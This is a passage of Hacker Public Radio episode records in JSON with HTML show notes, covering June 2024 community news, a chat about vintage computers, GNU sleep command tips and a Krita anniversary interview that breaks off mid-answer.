                                                            4141Mon2024-06-17Picade ConsoleKevie
                                                            4142Tue2024-06-18A Shared Shell History With Atuinmnw
                                                            4143Wed2024-06-19Learning to touch-type using the Dvorak keyboard layoutenistello
                                                            4144Thu2024-06-20Running a Self-Hosted Mail ServerLee
                                                            4145Fri2024-06-21Review of the Riwbox TX8swift110
                                                            4146Mon2024-06-24Pi 5 - Some initial thoughtsKevie
                                                            4147Tue2024-06-25Review of the Moto G 5G 2020swift110
                                                            4148Wed2024-06-26Cheap ComputersMoss Bliss
                                                            4149Thu2024-06-27HPR New Years Eve Show 2023 - 24 ep 2Honkeymagoo
                                                            4150Fri2024-06-28Playing Civilization III, Part 4Ahuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 30 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 3 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr4116\n(2024-05-13) \"Response to 4109: Building community without SEO\"\nby hobs.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 7:\nhobs on 2024-06-03:\n\"mastodon comments\"

                                                              \n
                                                            • hpr4118\n(2024-05-15) \"Toil versus Livelihood\"\nby dnt.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 7:\ndodddummy on 2024-06-01:\n\"I agree but am concerned about the transition\"

                                                              \n
                                                            • hpr4126\n(2024-05-27) \"Podcasting for Newbies\"\nby Moss Bliss.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nHenrik Hemrin on 2024-06-04:\n\"Equipment, experience, encouragement and radio.\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 27 comments on 14 of this month's shows:

                                                            \n
                                                            • hpr4131\n(2024-06-03) \"HPR Community News for May 2024\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nhobs on 2024-06-03:\n\"HPR page design\"
                                                              • Comment 2:\nfolky on 2024-06-04:\n\"Give me the opus\"
                                                              • Comment 3:\nHenrik Hemrin on 2024-06-04:\n\"Thank you\"
                                                              • Comment 4:\nKen Fallon on 2024-06-04:\n\"Bug created\"
                                                              • Comment 5:\nKen Fallon on 2024-06-04:\n\"HPR page design - Setting expectations\"
                                                              • Comment 6:\nelmussol on 2024-06-04:\n\"opus feed\"
                                                              • Comment 7:\nAn HPR listener on 2024-06-09:\n\"The tune Dave mentioned\"

                                                              \n
                                                            • hpr4132\n(2024-06-04) \"Urandom talks about the future of HPR\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nkdmurray on 2024-06-04:\n\"Great Conversation\"
                                                              • Comment 2:\nHenrik Hemrin on 2024-06-05:\n\"Re: Great Conversation.\"
                                                              • Comment 3:\nkdmurray on 2024-06-08:\n\"Re: Re: Great Conversation.\"

                                                              \n
                                                            • hpr4133\n(2024-06-05) \"Mastodon as a way to comment to HPR episodes\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-06-05:\n\"Comment via phone and laptop/desktop\"
                                                              • Comment 2:\nfullstopslash on 2024-06-05:\n\"mastodon comments\"
                                                              • Comment 3:\nKen Fallon on 2024-06-05:\n\"Some issues\"
                                                              • Comment 4:\nArcher72 on 2024-06-24:\n\"Ken's comment\"

                                                              \n
                                                            • hpr4135\n(2024-06-07) \"Mining the web\"\nby Cedric De Vroey.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2024-06-12:\n\"Clever use of transparency data\"
                                                              • Comment 2:\nHenrik Hemrin on 2024-06-14:\n\"Amazing project\"

                                                              \n
                                                            • hpr4136\n(2024-06-10) \"Pi Samba Share\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2024-06-22:\n\"I use this too\"

                                                              \n
                                                            • hpr4137\n(2024-06-11) \"I used reisub key sequence to reboot my frozen Linux computer\"\nby Henrik Hemrin.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-06-14:\n\"What is actually u in reisub doing in more detail? Is it needed?\"

                                                              \n
                                                            • hpr4140\n(2024-06-14) \"Battery and Charging Technology 2024\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevie on 2024-06-18:\n\"A good, balanced and informative talk\"
                                                              • Comment 2:\nHenrik Hemrin on 2024-06-18:\n\"Batteries and hydrogen gas\"

                                                              \n
                                                            • hpr4142\n(2024-06-18) \"A Shared Shell History With Atuin\"\nby mnw.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-06-19:\n\"Good presentation of the to me unknown Atuin\"

                                                              \n
                                                            • hpr4143\n(2024-06-19) \"Learning to touch-type using the Dvorak keyboard layout\"\nby enistello.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmnw on 2024-06-20:\n\"Typing Tutorial Websites\"

                                                              \n
                                                            • hpr4144\n(2024-06-20) \"Running a Self-Hosted Mail Server\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2024-06-24:\n\"The forbidden service\"

                                                              \n
                                                            • hpr4145\n(2024-06-21) \"Review of the Riwbox TX8\"\nby swift110.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2024-06-23:\n\"hiwbox tx8\"

                                                              \n
                                                            • hpr4146\n(2024-06-24) \"Pi 5 - Some initial thoughts\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2024-06-28:\n\"Comparing the Intel N100 and RPi 5\"

                                                              \n
                                                            • hpr4148\n(2024-06-26) \"Cheap Computers\"\nby Moss Bliss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-06-26:\n\"Refurbished computers\"

                                                              \n
                                                            • hpr4169\n(2024-07-25) \" HPR New Years Eve Show 2023 - 24 ep 4\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nRob on 2024-06-24:\n\"One person talking\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-June/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Developing new static feeds

                                                            \n
                                                              \n
                                                            • RSS feeds are currently being created in real time on\nhub.hackerpublicradio.org. The plan has always been to make\nall feeds static, generated by the site-generator script in\nthe hpr_generator repository.

                                                            • \n
                                                            • Changing RSS feeds is a dangerous process in that feed readers,\npodcatchers and so on can be triggered by what appear like insignificant\nchanges, making them download files that have already been downloaded,\neven though they are the not different.

                                                            • \n
                                                            • Work is ongoing to produce new (static) feeds, but they\nwill need extensive testing before they can be released to the world at\nlarge.

                                                            • \n
                                                            • To do this we will need testers, so it would be appreciated if we\ncould call upon volunteers to assist with this process.

                                                            • \n
                                                            \n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4152,"date":"2024-07-02","title":"URandom Pirate Episode ","duration":922,"summary":"This is a pirate episode of URandom with special guest!","notes":"

                                                            I fix pottery wheel...and special guest!

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"life,ADHD, electronics ","version":0,"downloads":0,"valid":1}, {"id":4153,"date":"2024-07-03","title":"Steading as she goes!","duration":3601,"summary":"The Edinburgh HPR hosts meet and chat again","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            Hosts:

                                                            \n
                                                              \n
                                                            • MrX
                                                            • \n
                                                            • Dave\nMorriss
                                                            • \n
                                                            \n

                                                            We recorded this on Sunday May 26th 2024. We were pleased\nto discover that our favourite pub where we've had lunch in the past,\nThe Steading, had not closed permanently following the sale of\nthe premises. That's where we met for lunch.

                                                            \n

                                                            Thus the show title: The Steading is now back on course1.

                                                            \n

                                                            After lunch we as usual adjourned to Dave's Citroen car (Studio\nC) in the car park, and recorded a chat.

                                                            \n

                                                            Topics discussed

                                                            \n
                                                              \n
                                                            • YouTube channel recommendations (Dave)

                                                              \n
                                                                \n
                                                              1. AT Restoration:\nAhti is a furniture restorer from Estonia. The episodes contain no\nspeech, just ambient sounds, but there is English text on-screen at\ntimes. Music is included for the final part where the item is shown in\nits before and after states. Shows some amazing skill in repairing all\nkinds of old furniture as well as some new builds.\n
                                                              2. \n
                                                              \n

                                                              \n
                                                                \n
                                                              1. Phil Vandelay:\nThe channel is about designing and building cargo bikes, machines,\nfurniture and more. The earlier shows contain no speech, just on-screen\nexplanations. In later episodes there is more description and\nexplanation. The level of engineering is high, and the host develops his\nmetalworking workshop and skills as episodes progress.\n
                                                              2. \n
                                                              \n

                                                              \n
                                                                \n
                                                              1. Ocean\nConservation Namibia: A Namibia-based team rescuing Cape fur seals\nfrom entanglements in marine garbage. The seals are mainly on the beach\nand the team runs to intercept the ones they spot with garbage around\nthem. They net them and remove whatever they have picked up and release\nthe seals. In many cases the fishing line, net, or other junk has cut\ndeeply into the seal's skin and muscle, and would kill them if not\nremoved. Episodes are usually daily and mostly short.\n
                                                              2. \n
                                                              \n
                                                                \n
                                                              • Digressions!\n
                                                                  \n
                                                                • Talking about varnishes for wood. Dave forgot the name of the\nvarnish-like finish shellac, which\nis used in the technique of French\nPolishing.
                                                                • \n
                                                                • Woodwork:\n
                                                                    \n
                                                                  • MrX made a stand for his music keyboard
                                                                  • \n
                                                                  • Dave made an unfashionable chair in the 1970s (similar in design and\ncolour to the outer chairs in the image)
                                                                    \n
                                                                    \nImage copyright © https://www.design-market.co
                                                                    \n
                                                                    \n
                                                                  • \n
                                                                • \n
                                                                • Grass-cutting, etc:\n
                                                                    \n
                                                                  • Repairing a strimmer\n(aka string trimmer)
                                                                  • \n
                                                                • \n
                                                                • Plastics:\n
                                                                    \n
                                                                  • Bakelite was\none of the earliest plastics
                                                                  • \n
                                                                  • Dave owns a valve radio which has a Bakelite case
                                                                  • \n
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Computers owned over time (MrX)

                                                              \n
                                                                \n
                                                              • Sinclair ZX\nSpectrum:\n
                                                              • \n
                                                              • Dragon 32:\n
                                                                  \n
                                                                • Released in 1982
                                                                • \n
                                                                • 6809 (8-bit) CPU
                                                                • \n
                                                                • Better keyboard
                                                                • \n
                                                                • Centronics parallel (printer port)\n
                                                                    \n
                                                                  • MrX had a pen plotter at one point, possibly an Epson
                                                                  • \n
                                                                  • Dave mentioned that he had used flat-bed pen plotters and large drum\nplotters at work
                                                                  • \n
                                                                • \n
                                                                • The Dragon 32 was used for Packet Radio\n
                                                                    \n
                                                                  • This is a data transfer protocol based on X.25 (called AX.25, Amateur\nX.25)
                                                                  • \n
                                                                • \n
                                                              • \n
                                                              • Commodore Amiga:\n
                                                                  \n
                                                                • Released in 1985
                                                                • \n
                                                                • Motorola 68000 series CPU, 16-bit and 32-bit models
                                                                • \n
                                                                • AmigaOS operating system; blitter
                                                                • \n
                                                                • AX.25 software
                                                                • \n
                                                              • \n
                                                              • Intel i386 PC\n
                                                                  \n
                                                                • Running Windows 3.1
                                                                • \n
                                                                • PK232-MBX\npacket radio modem (manual)\n
                                                                    \n
                                                                  • The PK232-MBX was similar to a telephone modem except it connected\nto radio.
                                                                  • \n
                                                                  • The MBX was a super deluxe model that had some extra features. It\ncould do all the same things that the basic PK232 could do (see details\nfrom manual linked above) plus it could also do WeFax\n(WeatherFAX) and had a basic Packet-Radio mailbox facility.
                                                                  • \n
                                                                  • The two models could deal with morse code, Baudot\nand ASCII RadioTeletype\n(RTTY), AMTOR (Amateur\nTeleprinting Over Radio) and Packet-Radio, using in-built\nsoftware.
                                                                  • \n
                                                                  • The connected radio would switch between transmit and receive to\nsend and acknowledge packets of information.
                                                                  • \n
                                                                  • The computer was connected by serial RS232 connection. Basic\ncommands were used to control the modem. Any computer capable of talking\nover RS232 could be used.
                                                                  • \n
                                                                • \n
                                                              • \n
                                                              • Currently a Dell\nOptiplex ex business machine:\n
                                                                  \n
                                                                • 4GB of RAM and a Pentium Dual-Core E5500 CPU clocked at 2.8 GHz
                                                                • \n
                                                                • Ubuntu 18 LTS & Windows 7, needed in order to reprogram Amateur\nradios
                                                                  \n
                                                                  \n
                                                                • \n
                                                              • \n
                                                              • Digressions:\n
                                                                  \n
                                                                • Dave remembered seeing an example of the Nascom 1 at Lancaster\nUniversity around 1978/79. This was a single board computer kit using\nthe Z80 CPU.
                                                                • \n
                                                                • Comparing a VAX \"mainframe\" with a Raspberry Pi:\n
                                                                    \n
                                                                  • Not simple!
                                                                  • \n
                                                                  • From 1987 Dave managed two clustered VAX 8700s. These were\nsingle CPU systems with a 32-bit word length and up to 512MB of\nmemory.
                                                                  • \n
                                                                  • It's possible for a Raspberry Pi to emulate a VAX running the VMS\noperating system, though Dave has no direct experience.
                                                                  • \n
                                                                  • With the RPi 4 and 5 there's a good chance that performance compared\nto an actual VAX might be similar if not better. This is just guesswork\nhowever!
                                                                  • \n
                                                                • \n
                                                                • Apollo\nGuidance Computer:\n
                                                                    \n
                                                                  • MrX discusses the development of these systems at NASA, which had to\nbe small and very reliable.\n
                                                                      \n
                                                                    • Use of integrated circuits which were very expensive and variable in\nquality.
                                                                    • \n
                                                                    • Use of rejected chips in other projects so they were not\nwasted.
                                                                    • \n
                                                                  • \n
                                                                • \n
                                                                • Finding information about things from the 1970s and 1980s:\n
                                                                    \n
                                                                  • It's surprisingly hard to find much about technology, IT and so\nforth from that era. Information that existed on paper, in newspapers\nand magazines from that time has apparently never been recorded and made\nsearchable.
                                                                  • \n
                                                                • \n
                                                                • Burroughs\nCorporation:\n
                                                                    \n
                                                                  • Dave worked on a Burroughs\nB6930 mainframe in the early 1980s at Heriot-Watt\nUniversity.
                                                                  • \n
                                                                  • The Burroughs terminals model TD830\nran on two coaxial cables to connect to the mainframe and to each other\nin a sort of \"bus\" configuration.
                                                                  • \n
                                                                • \n
                                                                • Dave has a new PC waiting to be set up. It's from TUXEDO Computers in\nGermany.\n
                                                                    \n
                                                                  • It's an AMD Ryzen 7000
                                                                  • \n
                                                                • \n
                                                                • Raspberry Pi development:\n
                                                                    \n
                                                                  • MrX is having difficulty finding time to work on his.
                                                                  • \n
                                                                  • Dave has set up two RPi 4B systems which boot off USB SSDs, one Pi\nrunning Pi-Hole. He has further plans for both, but hasn't done much\nyet.
                                                                  • \n
                                                                  • Dave also has a RPi 5 with a Pimoroni card under it holding a 500GB\nNVME M.2 card. The plan is to boot it off this disk, but it needs a case\nand a means of mounting to a DIN rail.
                                                                  • \n
                                                                • \n
                                                                • Various computer problems:\n
                                                                    \n
                                                                  • Dave had problems after an upgrade of Debian Testing on his main\ndesktop, since the previous of these shows. The upgrade left the PC in\nan unusable state with no desktop manager, and it took some time to\nrepair it (installing and configuring from the console).
                                                                  • \n
                                                                  • MrX upgraded a Raspberry Pi successfully, then applied another\nupgrade which failed. He was able to revert to the previous state\nluckily, but still has an out of date OS.
                                                                  • \n
                                                                  • Dave's laptop running KDE Neon failed due to not upgrading it\nfrequently enough, so in this case, since it had nothing of importance\non it, he just installed Linux Mint over the top of it!
                                                                  • \n
                                                                  • MrX still has a usable Eee PC, though the\nbattery has failed. This is the model 700.
                                                                  • \n
                                                                  • Dave also has a Eee PC, the 1000 model, but hasn't used it for a\nwhile.
                                                                  • \n
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n\n
                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Edinburgh,discussion","version":0,"downloads":0,"valid":1}, {"id":4154,"date":"2024-07-04","title":"About HPR","duration":3281,"summary":"Ken reads the about page, which answers many of the questions received","notes":"

                                                            I cannot give any feedback on the feedback without first describing\nour history, values and way of working.

                                                            \n

                                                            This has been available in the About HPR\nsection from the website.

                                                            \n

                                                            It also includes what you are agreeing to when you upload to HPR.

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"history, values, About, HPR","version":0,"downloads":0,"valid":1}, {"id":4155,"date":"2024-07-05","title":"GNU sleep tips","duration":598,"summary":"Deltaray gives an overview of the sleep command and some uses for it.","notes":"

                                                            Sleep for 2 hours and 45 minutes:

                                                            \n
                                                            sleep 2h 45m
                                                            \n

                                                            Poor man's Pomodoro timer:

                                                            \n
                                                            sleep 25m ; play bell.wav
                                                            \n

                                                            Better one with tic toc:

                                                            \n
                                                            (play tic.wav repeat 5000 trim 0 25:00 && play bell.wav)
                                                            \n

                                                            Send a desktop notification from the command line:

                                                            \n
                                                            notify-send "the message you want to show"
                                                            \n

                                                            Pizza notifier:

                                                            \n
                                                            sleep 15m ; notify-send "Pick up the pizza"
                                                            \n

                                                            10 minute temperature probe display:

                                                            \n
                                                            while temperature-probe ; do sleep 10m ; done
                                                            \n

                                                            Download from websites in urls.txt with a 30-60 second delay:

                                                            \n
                                                            for url in $( cat urls.txt ) ; do wget "$url" ; sleep $(( RANDOM % 31 + 30 )) ; done
                                                            \n

                                                            Poor man's annoy-a-tron:

                                                            \n
                                                            while true; do play -qn synth sin 9k trim 0 0.75 vol .5 ; sleep $((RANDOM % 4 + 3))m ; done
                                                            \n

                                                            Other examples of using sleep from climagic:
                                                            \nhttps://twitter.com/search?q=from%3Aclimagic%20sleep&src=typed_query&f=live

                                                            \n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cli,command line,linux","version":0,"downloads":0,"valid":1}, {"id":4156,"date":"2024-07-08","title":"Badger 2040","duration":695,"summary":"Kevie discusses his experience with the Badger 2040 from Pimoroni","notes":"

                                                            Kevie, co-host of TuxJam, contines his series on uses for the Raspberry Pi with a look at the Badger2040 from Pimoroni.

                                                            \n

                                                            In this episode Kevie shares some thoughts about the Badger 2040, which was purchased for the primary reason of needing a geeky name badge for attending this year's Oggcamp, which will be Kevie's first time being able to attend the event.

                                                            \n

                                                            For more information about how to use the Badger 2040, take a look at this guide on Pimoroni's website. Before being able to talk to the device you will need to install Thonny on your computer.

                                                            \n

                                                            Finally a huge thanks to everyone who has left feedback for me via Mastodon; firstly for taking the time to listen and secondly for putting in the effort to reply.

                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi, eink, Oggcamp","version":0,"downloads":0,"valid":1}, {"id":4157,"date":"2024-07-09","title":"Talking with Halla about the past and future of Krita for its 25th birthday","duration":1340,"summary":"Krita is celebrating its 25 birthday. Let's celebrate this together on Software Freedom Day!","notes":"

                                                            For the occasion of 25 years of Krita and in preparation of Software\nFreedom Day in September 21st of this year, we wanted to talk with\nHalla, the lead maintainer of this great project.
                                                            \nWe asked around and Arnoud stepped up and offered to visit Halla to ask\nsome questions about the project's history and future.
                                                            \n

                                                            \n

                                                            The talk is also available as a video on the PeerTube instance of the\nDigital Freedom Foundation.
                                                            \nIf you know what Software Freedom Day is, I'm confident that your heart\nwarms up with fond memories.
                                                            \nIf you don't know what it is, have a look at digitalfreedoms.org/sfd for\nmore info.
                                                            \nBasically, it's a grassroots movement from local teams organizing events\nto tell others about the benefits and importance of software\nfreedom.
                                                            \n

                                                            \n

                                                            If you would consider organizing Software Freedom Day where you live,\ndon't hesitate to visit the blog on our site, and get some inspiration\nfor what you could do.
                                                            \n

                                                            \n

                                                            With that said, let's listen to the interview between Arnoud and\nHalla.
                                                            \nEnjoy it!

                                                            \n
                                                            \n

                                                            Today we're interviewing Halla, who is the lead maintainer of Krita,\nto learn all about it and to hear where the project has been and where\nit's going.
                                                            \nHalla, to start us off, could you tell us a little bit about what Krita\nis?

                                                            \n

                                                            Sure. I love telling people about Krita.
                                                            \nSo Krita is a digital painting application.
                                                            \nIt's meant to make art from scratch, both still images and\nanimations.
                                                            \nSo we've got a huge number of brush engines, color spaces for people who\nneed to print and lots of features really focused at creating art from\nstart.
                                                            \n

                                                            \n

                                                            For what kind of illustrations would you use Krita?

                                                            \n

                                                            Pretty much everything. I've seen so many different artworks,\ndifferent styles.
                                                            \nPeople are working on comics in Krita.
                                                            \nPeople are working with illustrations.
                                                            \nThere are people who design those trade book card with Krita.
                                                            \nGames, I mean, whole animated games, like platform games.
                                                            \nIt's used for all that sort of thing, for everything, in every style, in\npretty much every country in the world.
                                                            \n

                                                            \n

                                                            Wow. Uh, are there any publications we might know about that have\nused images created in Krita?

                                                            \n

                                                            There are so many! We got sent a copy of a book on American wild\nbirds.
                                                            \nThat was entirely done in Krita.
                                                            \n

                                                            \n

                                                            Wow, cool.
                                                            \nTalk a little bit about yourself. What role did you play in the creation\nof Krita?

                                                            \n

                                                            This year Krita is 25 years old.
                                                            \nWhich meant I wasn't there at the absolute beginning.
                                                            \n

                                                            \n

                                                            So, in 2003, my parents gave me for my birthday a really small\ngraphics tablet, a Wacom Graphire.
                                                            \nAnd I wanted to use it to draw a map for a fantasy novel I was writing\nback then.
                                                            \nThe novel never got finished, because of course I wanted to use Linux as\nmy desktop operating system.
                                                            \nAnd I sort of couldn't get into GIMP, and I started looking around for\nan application other than GIMP that I could maybe improve or could maybe\nbe good enough.
                                                            \n

                                                            \n

                                                            Well, I found Krita.
                                                            \nIn 2003, it had already gone through three names: KImageShop. That\ndidn't last long. Krayon. That didn't last long either. And it was\nfinally called Krita.
                                                            \nIt has also gone through three complete rewrites.
                                                            \nSo when I started working on Krita in 2003, it didn't even have a brush\ntool.
                                                            \nYou could open images, add images as layers, and move the layers\naround.
                                                            \nAnd that was everything.
                                                            \n

                                                            \n

                                                            So, it was a really good place to get started.
                                                            \nExcept, of course, that it turns out that I'm not a genius.
                                                            \nI'm not even a computer scientist.
                                                            \nI mean, I'm a linguist.
                                                            \nAnd writing a good brush engine is pretty difficult.
                                                            \n

                                                            \n

                                                            So, I started blogging about how I was completely failing at creating\na nice brush engine. And how is was failing.
                                                            \nThat turned out to be a turning point for the project because people saw\nthat: \"Oh, there's someone working on it, and they're not making any\nprogress, mmm, I will take a look as well.\" They started getting\nenthusiastic and pretty soon after 2004, we already had our fourth\ncomplete core rewrite.
                                                            \nSo that's how I got started.
                                                            \n

                                                            \n

                                                            So how many people were involved in the Krita community by that\ntime?

                                                            \n

                                                            Mid 2004, it was about a dozen.
                                                            \nKrita was still part of KOffice, which was KDE's suite of productivity\napplications.
                                                            \nAnd KOffice developed that still, because they were porting from one\ndocument format to another document format.
                                                            \n

                                                            \n

                                                            But suddenly there was an application that we really wanted to\nrelease. And that's when KOffice got released again as well.
                                                            \nSo it's a bit hard to say how many people are actually working on Krita\nbecause there were also some people working on the core libraries that\nevery application used, but say a dozen.
                                                            \n

                                                            \n

                                                            And can you speak a little bit about how the community evolved\nsince?

                                                            \n

                                                            Yes. Until around 2006, we didn't really have a focus. Krita was a\nGIMP clone or a Photoshop clone. And, in 2006, David Revoy, a French\nartist who only uses free software, tried Krita, and he told us it's no\ngood. While we thought we had quite a nice application by then.
                                                            \n

                                                            \n

                                                            Afterwards, we started taking this very seriously. So, when we have a\nsprint, we also invite artists.
                                                            \nWe actually videotape the artists working with Krita.
                                                            \nAnd that's for the developers a really nice way of getting to know where\nthe bottlenecks are for users.
                                                            \nSo because we involved artists, our developer community also started to\ngrow.
                                                            \n

                                                            \n

                                                            At some point of time, most growth came through Google Summer of\nCode, but those days are over.
                                                            \nThat program is not doing a lot anymore. We've only got one student this\nyear.
                                                            \nSo that started the second phase. Let's make Krita good enough for David\nRevoy.
                                                            \n

                                                            \n

                                                            We also invited Peter Sicking to a print.
                                                            \nPeter Sicking is the guy who was involved in defining the mission\nstatement for GIMP.
                                                            \nHe sat down with us and asked us: \"What do you really want to do?\" Make\nKrita good for David Revoy.
                                                            \nThat's a bit thin as a mission statement.
                                                            \nSo we came up with we want to make Krita purely a painting\napplication.
                                                            \nSure, there are filters and other stuff, but if it's good for painting,\nit goes in.
                                                            \n

                                                            \n

                                                            So we started working on that and that took quite a long time to get\nthere, especially because we were stupid.
                                                            \nWe started doing a complete rewrite in 2007 of everything.
                                                            \nThat was the fifth.
                                                            \nSo, that continued, everyone was working on Krita as a hobby. Most\npeople were still students, until our Slovak student, Lukáš, was working\non his thesis.
                                                            \nAnd his thesis was brush engines for Krita.
                                                            \nAnd of course he got 10 out of 10 because he could show his professors\nthat he had created real software that was used by real people all over\nthe world.
                                                            \nAnd then he was like, okay, I'm almost done with university.
                                                            \nWhat should I do? If you guys can pay my rent, then I can work on Krita\nfull time.
                                                            \nIf not, I'm going to flip burgers.
                                                            \nSo I ask him what his rent was. It was like 35 euros a month.
                                                            \nSo I thought, well, let's do a fundraiser and we can pay you for, say,\nsix months.
                                                            \nSix months turned into a year.
                                                            \nAnd after that, Lukas got a job at a different company, but it started\nsponsored development.
                                                            \n

                                                            \n

                                                            And that's been really important for the growth of our community,\nbecause by now there are six people working full time on Krita.
                                                            \nThe second student we hired on graduation was Dmitry Kazakov, a Russian\nguy, and he's currently our lead developer.
                                                            \nSo because we're all there, lots of volunteer developers can see that\ntheir patches and merge requests get reviewed, they get merged and that\nmakes people happy.
                                                            \nSo we have a really healthy mix right now of sponsors and volunteer\ndevelopers.
                                                            \n

                                                            \n

                                                            That sounds great. You mentioned sprints a couple of times, can you\ntell us a little bit more about how that is organized?

                                                            \n

                                                            In theory, we organize one big sprint a year.
                                                            \nOf course, it hasn't been possible.
                                                            \nSome people have had to flee Russia, for instance.
                                                            \nSo visa problems are real problems.
                                                            \nAnd the way it mostly used to happen was I would invite everyone to\nDeventer, have some people sleep upstairs, in our spare bedrooms.
                                                            \nAnd the rest would go to Hotel Royale in Deventer, which has two big\nrooms on the top floor.
                                                            \n

                                                            \n

                                                            Then we'd go down in the cellar of the church. It's a 12th century\ncellar. Really roomy, and we would just do some hacking, then do a\nmeeting.
                                                            \nAnd in the evenings, we would go out for dinner, and just get to know\neach other better.
                                                            \nOne thing that I really miss about sprints, or rather not having\nsprints, is the time we would spend in my study over there.
                                                            \nJust, just a couple of us.
                                                            \nThe rest would be hacking around.
                                                            \nAnd we would try to just go through the list of bug reports.
                                                            \nAnd for us, sprints are fun.
                                                            \nWe also invite developers, artists, documentation writers.
                                                            \n

                                                            \n

                                                            Yeah, that sounds like a lot of fun.
                                                            \nSo, if a new contributor would like to join Krita, what would be the\ntypical on ramps that they could come into?

                                                            \n

                                                            It used to be that people would mostly join us on IRC. Nowadays, we\nalso have Matrix, because building Krita from scratch is not easy.
                                                            \nBut we've got a great manual for that by now.
                                                            \nSo either people join us on IRC and ask for help building Krita, and\nthen maybe ask, do you know a nice bug or feature ish that I could start\nworking on?

                                                            \n

                                                            And then we, we'd help them with that.
                                                            \nBut these days it's mostly people who out of the blue, post a merge\nrequest on KDE's GitLab instance.
                                                            \nAnd then we're \"Oh, this person from Serbia, this person from Denmark,\nthey have suddenly have a really nice patch!\" And sometimes a patch\nneeds to be improved.
                                                            \nSometimes it can go in as is.
                                                            \nAnd then we try to get them, in our chat channel, because that's still\nthe place where we have most development discussions.
                                                            \nAnd the mailing list is almost dead, but that holds for many mailing\nlists.
                                                            \nAfter that, once you've got three merge requests in Krita, merged into\nKrita, we will ask you: \"Do you want to have a developer account, so you\ncan review other people's work, merge it, get full access to\neverything?\" And sometimes they are \"Yes, I've always wanted that\", and\nsometimes \"I'm not really comfortable with that, I just want to send you\nmore patches\", and that's fine.
                                                            \n

                                                            \n

                                                            Sounds great.
                                                            \nIn terms of features, are there any particular features of Krita that\nyou're particularly proud of, or that sets Krita apart from other\ndrawing programs?

                                                            \n

                                                            Over the years, we had a number of firsts.
                                                            \nLike, before Adobe even knew that OpenGL existed, we had a hardware\naccelerated canvas implementation.
                                                            \nThen, about the same year, I think it was 2005, we implemented support\nfor all kinds of color models.
                                                            \nLike CMYK, LAB, also painterly color models.
                                                            \nThat's stuff that tries to mix spectral wavelengths to simulate the way\npaint mixes.
                                                            \n

                                                            \n

                                                            That feature is out because it never worked well enough.
                                                            \nThen we got, I think, a really nice way of doing animations.
                                                            \nOf course the brush engines are great.
                                                            \n

                                                            \n

                                                            Oh, and this is something that almost nobody knows, but we support\npainting in HDR.
                                                            \nSo color values lower than zero and bigger than one, fully\ndynamic.
                                                            \n

                                                            \n

                                                            And the way we work with those images is compatible with the way\nBlender imports images.
                                                            \n

                                                            \n

                                                            So, you mentioned Blender, are there any other products that Krita\nworks particularly well with, or that are nice complements to Krita?

                                                            \n

                                                            Scribus. Scribus is a desktop publishing application, it's also free\nsoftware.
                                                            \nDevelopment is a bit slow at the moment, but it's really solid.
                                                            \nWe used it for our 2006, I think it was 2006, Krita art book, for\ninstance.
                                                            \nAnd Inkscape of course, as well.
                                                            \n

                                                            \n

                                                            Krita does have vector layers, and they are quite advanced, but still\nInkscape is a really good complement.
                                                            \nKrita and Inkscape are the only applications that currently implement\nthe W3C mesh gradient standard.
                                                            \n

                                                            \n

                                                            Cool, and in terms of current development, which features are you\nmost excited about which are coming up?

                                                            \n

                                                            What's coming up is the port of Qt6, new version of our development\nlibrary.
                                                            \nThat's going to really eat development time.
                                                            \nBut again, we've got some volunteers who already started working on\nthat.
                                                            \n

                                                            \n

                                                            I'm not sure I'm really excited about it, but, but we have to\ninvestigate it. We are looking into AI assisted inking.
                                                            \nSo you would train Krita on the way you would normally ink your\nsketches.
